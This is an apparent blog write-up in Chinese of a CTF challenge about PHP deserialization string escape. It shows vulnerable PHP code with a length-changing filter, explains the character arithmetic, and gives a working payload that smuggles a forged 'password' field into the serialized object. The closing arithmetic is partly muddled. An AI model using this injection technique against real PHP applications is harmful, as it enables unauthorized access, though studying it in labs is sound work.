反序列化逃逸

打CTF遇见的题目:

<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
   public $uname;
   public $password;
   public function __construct($uname,$password)
   {
       $this->uname=$uname;
       $this->password=$password;
   }
   public function __wakeup()
   {
           if($this->password==='easy')
           {
               include('flag.php');
               echo $flag;    
           }
           else
           {
               echo 'wrong password';
           }
       }
   }

function filter($string){
   return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

wrong password

由challenge=>easychallenge,多出4个字符
而构造 ";s:8:"password";s:4:"easy";}为29字符,用4无法构造出29
因此考虑溢出,
payload用22个challenge";s:8:"password";s:4:"easy";}O:1:"a":2:{s:5:"uname";s:2:"ad";s:8:"password";s:4:"easy";}
先闭合构造出完整的序列化后,再重新构造出flag所需的password=“easy”
uname为可控制变量长度,使其整个payload对齐22个challenge所替换成easychallenge的长度,多了22个4字节即88
";s:8:"password";s:4:"easy";}O:1:"a":2:{s:5:"uname";s:2:"ad";s:8:"password";s:4:"easy";}为88个

payload:
challengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}O:1:"a":2:{s:5:"uname";s:2:"ad";s:8:"password";s:4:"easy";}
控制uname使其共288个字符
之前challenge22=198,相差88
加上序列化过后的头部对比:


可以发现对齐了fileter过后的字符,使其后面的字符全部逃逸
在构造了完成的序列化数据后,又重新定义了序列化数据
22
9=>22*13
198 286

posted @ 2020-11-09 23:41  努力的菜鸟Fang  阅读(127)  评论(0编辑  收藏  举报